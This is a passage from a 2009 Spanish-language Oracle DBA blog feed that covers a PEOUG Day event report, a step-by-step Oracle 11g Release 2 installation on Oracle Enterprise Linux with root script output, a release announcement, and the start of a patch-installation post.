&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SwYdHanFm2I/AAAAAAAAAmE/cd3ffGcVFjI/s1600/PEOUG.2009..jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="300" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SwYdHanFm2I/AAAAAAAAAmE/cd3ffGcVFjI/s400/PEOUG.2009..jpg" width="400" title="De izquierda a derecha: Andrés Herrera, Francisco Muñoz, John Morales, Plinio Arbizu, Juan Camilo Ruiz, Tom Kyte, Enrique Orbegozo"/&gt;&lt;/a&gt;&lt;br /&gt;
&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Bromas aparte, y ya para terminar, me queda la impresión de que el &lt;b&gt;PEOUG Day 2009&lt;/b&gt; fue un rotundo éxito, salvo por la presentación de Oracle "&lt;b&gt;Oracle LMS as Value Added Service&lt;/b&gt;", en la que se tocaron temas relacionados finalmente con el licenciamiento, un tema que a nosotros -los usuarios finales- no nos llama mucho la atención, de seguro que si alguien de la Sunat nos hablaba de las ventajas de estar al día con nuestros impuestos hubiese tenido el mismo mágico efecto &lt;img src="http://lh6.ggpht.com/_13OOTtHDdJc/SwXLUzJhpXI/AAAAAAAAAlw/OihokdLXnq0/confused.gif"/&gt;. Ojo!, no digo que empecemos a evadir impuestos y usemos Oracle pirata, de hecho la Sunat me debe todo un sueldo en impuestos pagados en exceso y lo primero que verifico con mis clientes es que estén con un licenciamiento correcto, pero en esta ocasión no era el público, el lugar, ni el momento apropiado para tratar este tema, mi modesta opinión desde luego. Hasta aquí llega mi reporte desde el lugar de los hechos, hasta la próxima!&lt;/div&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-5397281326781649444?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/a6j51TovtB8" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-11-20T09:20:24.600-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://lh5.ggpht.com/_13OOTtHDdJc/SwXMFBSzZKI/AAAAAAAAAl8/vkS6z69aThw/s72-c/tongue_smile.gif" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">1</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/11/presentacion-en-el-peoug-day-2009.html</feedburner:origLink></item><item><title>Instalando Oracle 11g Release 2 en OEL 5.3</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/mEw5dgar6y8/instalando-oracle-11g-release-2-en-oel.html</link><category>11gR2</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Thu, 03 Sep 2009 21:33:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-5935361193887449224</guid><description>&lt;div&gt;Finalmente logré descargar &lt;i&gt;Oracle 11g Release 2&lt;/i&gt; desde &lt;a href="http://www.oracle.com/technology/software/products/database/index.html"&gt;OTN&lt;/a&gt;, con lo que pude dar inicio a la instalación del software y la posterior creación de una base de datos. En este &lt;i&gt;Post&lt;/i&gt; les mostraré lo que encontré en la parte correspondiente a la instalación del software, ojo que no pretendo reemplazar a la &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/toc.htm"&gt;guía de instalación&lt;/a&gt;, cuya lectura es &lt;b&gt;obligatoria&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;Instalación paso a paso&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;div&gt;Esta instalación la hice sobre &lt;i&gt;OEL 5.3&lt;/i&gt;, si bien lo usual es configurarlo de tal forma que se cumpla estrictamente lo indicado como &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/pre_install.htm"&gt;pre-requisitos&lt;/a&gt;, a fin de probar la efectividad de los &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/pre_install.htm#BABGICDD"&gt;installation fixup scripts&lt;/a&gt;, si bien instalé los &lt;i&gt;RPMs&lt;/i&gt; exigidos, deliberadamente dejé de configurar los parámetros del &lt;i&gt;kernel&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;1. &lt;/span&gt;Luego de invocar a &lt;i&gt;Oracle Universal Installer&lt;/i&gt;, se nos ofrece registrar nuestro email y password de &lt;i&gt;My Oracle Support&lt;/i&gt; a fin de recibir eventuales notificaciones, pero afortunadamente no es un obligatorio completar estos datos.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB4Wkjj72I/AAAAAAAAAis/tQ_Mdb99C0w/s1600-h/11gR2.01.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB4Wkjj72I/AAAAAAAAAis/tQ_Mdb99C0w/s400/11gR2.01.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;2. &lt;/span&gt;Por defecto se nos sugiere instalar el software y crear la base de datos, pero en esta parte me interesa exclusivamente lo primero.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/SqCLvsAzGCI/AAAAAAAAAks/XJmp5Cvxlgs/s400/11gR2.02.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/SqCLvsAzGCI/AAAAAAAAAks/XJmp5Cvxlgs/s400/11gR2.02.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;3. &lt;/span&gt;Hora de decidir si queremos o no usar &lt;i&gt;Real Application Clusters&lt;/i&gt;; para no complicar las cosas mejor empezamos con una configuración que no lo use.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB4pTQzecI/AAAAAAAAAi8/eZfiiKHzDko/s1600-h/11gR2.03.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB4pTQzecI/AAAAAAAAAi8/eZfiiKHzDko/s400/11gR2.03.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;4. &lt;/span&gt;¿Qué lenguaje usar? La verdad yo prefiero usar &lt;b&gt;Inglés&lt;/b&gt; para todo el software que uso, esto va desde &lt;i&gt;Windows Vista&lt;/i&gt;, &lt;i&gt;Office 2007&lt;/i&gt;, y desde luego lo extiendo a &lt;i&gt;OEL&lt;/i&gt; y &lt;i&gt;Oracle&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB4viTdk7I/AAAAAAAAAjE/ABvwsNNJTI0/s1600-h/11gR2.04.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB4viTdk7I/AAAAAAAAAjE/ABvwsNNJTI0/s400/11gR2.04.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;5. &lt;/span&gt;Para evaluar todo el poderío de Oracle Server, lo mejor es instalar &lt;i&gt;Enterprise Edition&lt;/i&gt;, sin duda alguna.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB41NGjoPI/AAAAAAAAAjM/EWGYsSSe-oA/s1600-h/11gR2.05.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB41NGjoPI/AAAAAAAAAjM/EWGYsSSe-oA/s400/11gR2.05.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;6. &lt;/span&gt;La ubicación del software no amerita mucho razonamiento, los valores por defecto son los correctos para esta prueba.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB4608I4EI/AAAAAAAAAjU/gpZRUamE2is/s1600-h/11gR2.06.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB4608I4EI/AAAAAAAAAjU/gpZRUamE2is/s400/11gR2.06.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;7. &lt;/span&gt;Idem para el &lt;i&gt;Inventory Directory&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/SqB4_h-ks9I/AAAAAAAAAjc/n40JprAcYg8/s1600-h/11gR2.07.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/SqB4_h-ks9I/AAAAAAAAAjc/n40JprAcYg8/s400/11gR2.07.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;8. &lt;/span&gt;Los grupos asignados a &lt;i&gt;OSDBA&lt;/i&gt; y &lt;i&gt;OSOPER&lt;/i&gt; son los esperados.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB5Fsl6aSI/AAAAAAAAAjk/ZNHkru2vsrM/s1600-h/11gR2.08.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB5Fsl6aSI/AAAAAAAAAjk/ZNHkru2vsrM/s400/11gR2.08.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;9. &lt;/span&gt;Aquí empieza la novedad, OUI hace la verificación de los pre-requisitos, y como no configuré los parámetros del &lt;i&gt;kernel&lt;/i&gt;, recibo la alerta de que es necesario resolverlo antes de continuar.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB5M1bu6nI/AAAAAAAAAjs/DRxmfynwies/s1600-h/11gR2.09.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB5M1bu6nI/AAAAAAAAAjs/DRxmfynwies/s400/11gR2.09.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Lo interesante es que OUI está en capacidad de proporcionarme un script que me permita resolver todos aquellos errores que aparecen como &lt;i&gt;fixable&lt;/i&gt;, es cuestión de presionar el botón &lt;i&gt;Fix &amp; Check Again&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB5STReRZI/AAAAAAAAAj0/McO7FgYfm24/s1600-h/11gR2.10.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB5STReRZI/AAAAAAAAAj0/McO7FgYfm24/s400/11gR2.10.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Siguiendo las instrucciones procedo a ejecutar &lt;i&gt;runfixup.sh&lt;/i&gt; desde una sesión en la que estoy conectado como &lt;i&gt;root&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@talia ~]# /tmp/CVU_11.2.0.1.0_oracle/runfixup.sh
Response file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.response
Enable file being used is :/tmp/CVU_11.2.0.1.0_oracle/fixup.enable
Log file location: /tmp/CVU_11.2.0.1.0_oracle/orarun.log
Setting Kernel Parameters...
kernel.sem = 250 32000 100 128
fs.file-max = 6815744
net.ipv4.ip_local_port_range = 9000 65500
net.core.rmem_default = 262144
net.core.wmem_default = 262144
net.core.rmem_max = 4194304
net.core.wmem_max = 1048576
fs.aio-max-nr = 1048576
uid=502(oracle) gid=501(oinstall) groups=501(oinstall),502(dba),506(asmdba)&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;De vuelta a OUI, se repite la verificación y los problemas de configuración del &lt;i&gt;kernel&lt;/i&gt; han desaparecido! Quedan las advertencias sobre la memoria disponible y el espacio de &lt;i&gt;swap&lt;/i&gt; asignado, pero no es realmente un problema para esta prueba por lo que opto por ignorarlos y proseguir con la instalación, desde luego Uds. &lt;b&gt;no&lt;/b&gt; deben hacer eso con una instalación real.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB5ao8Wu6I/AAAAAAAAAj8/rxgjfg6grY0/s1600-h/11gR2.11.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB5ao8Wu6I/AAAAAAAAAj8/rxgjfg6grY0/s400/11gR2.11.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;10. &lt;/span&gt;Llegamos a la pantalla de resumen de la instalación.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB5gwhVjFI/AAAAAAAAAkE/wZ3VU7C2CPQ/s1600-h/11gR2.12.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/SqB5gwhVjFI/AAAAAAAAAkE/wZ3VU7C2CPQ/s400/11gR2.12.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;11. &lt;/span&gt;Y la acción empieza!&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB5mmI32ZI/AAAAAAAAAkM/HSOsHN26aGo/s1600-h/11gR2.13.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB5mmI32ZI/AAAAAAAAAkM/HSOsHN26aGo/s400/11gR2.13.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;En este equipo he instalado antes &lt;i&gt;Oracle 9.2&lt;/i&gt;, &lt;i&gt;10.2&lt;/i&gt; y &lt;i&gt;11.1&lt;/i&gt;, pero esta vez sentí que tomo más tiempo que en esas oportunidades.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB5uINNw9I/AAAAAAAAAkU/4VK1ZeYtgp4/s1600-h/11gR2.14.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB5uINNw9I/AAAAAAAAAkU/4VK1ZeYtgp4/s400/11gR2.14.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;12. &lt;/span&gt;El paso final es ejecutar algunos &lt;i&gt;scripts&lt;/i&gt;, teniendo el cuidado de hacerlo con el usuario &lt;i&gt;root&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB57f5MyDI/AAAAAAAAAkk/6QjsrEwDlCs/s1600-h/11gR2.15.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB57f5MyDI/AAAAAAAAAkk/6QjsrEwDlCs/s400/11gR2.15.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@talia ~]# /u01/app/oraInventory/orainstRoot.sh
Changing permissions of /u01/app/oraInventory.
Adding read,write permissions for group.
Removing read,write,execute permissions for world.

Changing groupname of /u01/app/oraInventory to oinstall.
The execution of the script is complete.&lt;/pre&gt;&lt;br /&gt;
&lt;pre class="codigo"&gt;[root@talia ~]# /u01/app/oracle/product/11.2.0/dbhome_1/root.sh
Running Oracle 11g root.sh script...

The following environment variables are set as:
    ORACLE_OWNER= oracle
    ORACLE_HOME=  /u01/app/oracle/product/11.2.0/dbhome_1

Enter the full pathname of the local bin directory: [/usr/local/bin]:
   Copying dbhome to /usr/local/bin ...
   Copying oraenv to /usr/local/bin ...
   Copying coraenv to /usr/local/bin ...


Creating /etc/oratab file...
Entries will be added to the /etc/oratab file as needed by
Database Configuration Assistant when a database is created
Finished running generic part of root.sh script.
Now product-specific root actions will be performed.
Finished product-specific root actions.&lt;/pre&gt;&lt;br /&gt;
&lt;div&gt;&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: large;"&gt;13. &lt;/span&gt;Luego de ejecutados los &lt;i&gt;scripts&lt;/i&gt;, la instalación ha concluido.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB5zgTVyaI/AAAAAAAAAkc/8Nsv0fCishw/s1600-h/11gR2.16.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_13OOTtHDdJc/SqB5zgTVyaI/AAAAAAAAAkc/8Nsv0fCishw/s400/11gR2.16.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Como habrán notado, la instalación del software es bastante similar a lo visto en versiones previas, lo que si resulta especial y bienvenido, es la posibilidad de dejar que &lt;i&gt;OUI&lt;/i&gt; nos ayude a corregir nuestros errores u omisiones al configurar el &lt;i&gt;kernel&lt;/i&gt;, en realidad la relación de cosas que puede corregir va un poco más allá, tal como pueden comprobar en la &lt;a href="http://download.oracle.com/docs/cd/E11882_01/install.112/e10840/pre_install.htm#BABGICDD"&gt;documentación&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;En un siguiente &lt;i&gt;Post&lt;/i&gt; les mostraré la creación de una base de datos con &lt;i&gt;dbca&lt;/i&gt;, que tiene también algunas novedades, estén atentos!&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/09/11g-release-2-finalmente-disponible.html"&gt;11g Release 2 finalmente disponible!&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-5935361193887449224?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/mEw5dgar6y8" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-03T23:39:45.717-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://4.bp.blogspot.com/_13OOTtHDdJc/SqB4Wkjj72I/AAAAAAAAAis/tQ_Mdb99C0w/s72-c/11gR2.01.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">4</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/09/instalando-oracle-11g-release-2-en-oel.html</feedburner:origLink></item><item><title>11g Release 2 finalmente disponible!</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/o0xM2jNZ3fo/11g-release-2-finalmente-disponible.html</link><category>11gR2</category><category>News</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Tue, 01 Sep 2009 13:30:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-8602042195143566654</guid><description>&lt;div&gt;Luego de años que apareciera Oracle Database 11g Release 1, hace pocas horas &lt;b&gt;Oracle Corporation&lt;/b&gt; ha hecho &lt;a href="http://www.oracle.com/us/corporate/press/032365"&gt;pública&lt;/a&gt; la liberación de &lt;b&gt;&lt;i&gt;Oracle Database 11g Release 2&lt;/i&gt;&lt;/b&gt;&lt;i&gt;&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;div&gt;El software puede ser obtenido desde ya en &lt;a href="http://www.oracle.com/technology/software/products/database/oracle11g"&gt;OTN&lt;/a&gt; &lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/_13OOTtHDdJc/Sp1_e4wMMCI/AAAAAAAAAik/xVoCxQpkO5w/s1600-h/download.11g.R2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_13OOTtHDdJc/Sp1_e4wMMCI/AAAAAAAAAik/xVoCxQpkO5w/s400/download.11g.R2.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;La relación de novedades que incluye esta nueva versión la pueden encontrar en &lt;a href="http://download.oracle.com/docs/cd/E11882_01/server.112/e10881/chapter1.htm#NEWFTCH1"&gt;New Features Guide&lt;/a&gt;. Si bien el software está disponible por el momento solo para &lt;b&gt;Linux&lt;/b&gt;, es de esperar que en breve vayan apareciendo las versiones correspondientes a otras plataformas.&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Muy poco tiempo ha transcurrido como para hacer una evaluación del producto, de hecho recién lo estoy bajando de OTN (al igual que muchos de Uds. seguramente), por lo que en los próximos días podré escribir más sobre el tema, estén atentos! Pero entretanto pueden ir leyendo una de las primeras publicaciones sobre el tema, hecho por &lt;a href="http://www.pcworld.com/businesscenter/article/171192/oracle_11g_r2_makes_its_debut.html"&gt;PCWorld&lt;/a&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span style="color: #17365d; font-family: Arial,Helvetica,sans-serif; font-size: medium;"&gt;Post Relacionados:&lt;/span&gt;&lt;br /&gt;
&lt;ul&gt;&lt;li&gt;&lt;a href="http://blog.e-dba.biz/2009/09/instalando-oracle-11g-release-2-en-oel.html"&gt;Instalando Oracle 11g Release 2 en OEL 5.3&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;hr/&gt;
¿Te pareció interesante este artículo?, ¿te quedaron algunas dudas?, ¿quieres sugerirme un tema a tratar?, pues visita &lt;a href="http://enriqueorbegozo.blogspot.com"&gt;Snapshot Too Old&lt;/a&gt; y déjame tus comentarios y consultas.&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2932987194307539277-8602042195143566654?l=blog.e-dba.biz' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/SnapshotTooOld/~4/o0xM2jNZ3fo" height="1" width="1"/&gt;</description><atom:updated xmlns:atom="http://www.w3.org/2005/Atom">2009-09-03T23:35:42.651-05:00</atom:updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://3.bp.blogspot.com/_13OOTtHDdJc/Sp1_e4wMMCI/AAAAAAAAAik/xVoCxQpkO5w/s72-c/download.11g.R2.jpg" height="72" width="72" /><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">9</thr:total><feedburner:origLink>http://blog.e-dba.biz/2009/09/11g-release-2-finalmente-disponible.html</feedburner:origLink></item><item><title>Primer PSU ya está disponible, instalémoslo!</title><link>http://feedproxy.google.com/~r/SnapshotTooOld/~3/ll1r9jfXhh0/instalacion-patch-set-update-psu.html</link><category>patching</category><author>noreply@blogger.com (Enrique Orbegozo)</author><pubDate>Wed, 15 Jul 2009 11:56:00 PDT</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-2932987194307539277.post-6295316184342599692</guid><description>&lt;div&gt;Para complementar el &lt;a href="http://blog.e-dba.biz/2009/07/patch-set-updates.html"&gt;Post anterior&lt;/a&gt;, les aviso que ya está disponible desde ayer el primer &lt;b&gt;&lt;i&gt;Patch Set Update&lt;/i&gt;&lt;/b&gt;, lo pueden encontrar en Metalink (My Oracle Support) como el &lt;b&gt;&lt;i&gt;Patch 8576156 - DATABASE PSU 10.2.0.4.1 (INCLUDES CPUJUL2009)&lt;/i&gt;&lt;/b&gt;. En este Post les indico cómo instalarlo, acompañenme en esta &lt;i&gt;aventura&lt;/i&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;span class="fullpost"&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/SmzpUrHwnvI/AAAAAAAAAdA/y3qKTkOiiEM/s1600-h/PSU.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/SmzpUrHwnvI/AAAAAAAAAdA/y3qKTkOiiEM/s400/PSU.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;div&gt;Este &lt;b&gt;&lt;i&gt;Patch Set Update&lt;/i&gt;&lt;/b&gt; está disponible para las siguientes plataformas:&lt;/div&gt;&lt;ul&gt;&lt;li&gt;Sun Solaris SPARC (64-bit) / 21M&lt;/li&gt;
&lt;li&gt;Linux x86 / 11M&lt;/li&gt;
&lt;li&gt;Linux x86-64 / 16M&lt;/li&gt;
&lt;li&gt;HP-UX PA-RISC(64-bit) / 18M&lt;/li&gt;
&lt;li&gt;HP-UX Itanium / 30M &lt;/li&gt;
&lt;li&gt;IBM AIX on POWER Systems (64-bit) /13M&lt;/li&gt;
&lt;/ul&gt;&lt;br /&gt;
&lt;div&gt;Aproveché a descargar la versión para &lt;b&gt;&lt;i&gt;Linux x86&lt;/b&gt;&lt;/i&gt; y al revisar los requisitos encontré el primer problema: debo tener el &lt;b&gt;OPatch 10.2.0.4.7&lt;/b&gt; o superior y en mi instalación tenía la versión &lt;b&gt;10.2.0.4.2&lt;/b&gt;. Esto me obligó a descargar la última versión, disponible como el &lt;b&gt;Patch 6880880&lt;/b&gt;.&lt;/div&gt;&lt;br /&gt;
&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_13OOTtHDdJc/SmzpsYlBPfI/AAAAAAAAAdI/TaLRWbvViIw/s1600-h/opatch.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_13OOTtHDdJc/SmzpsYlBPfI/AAAAAAAAAdI/TaLRWbvViIw/s400/opatch.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
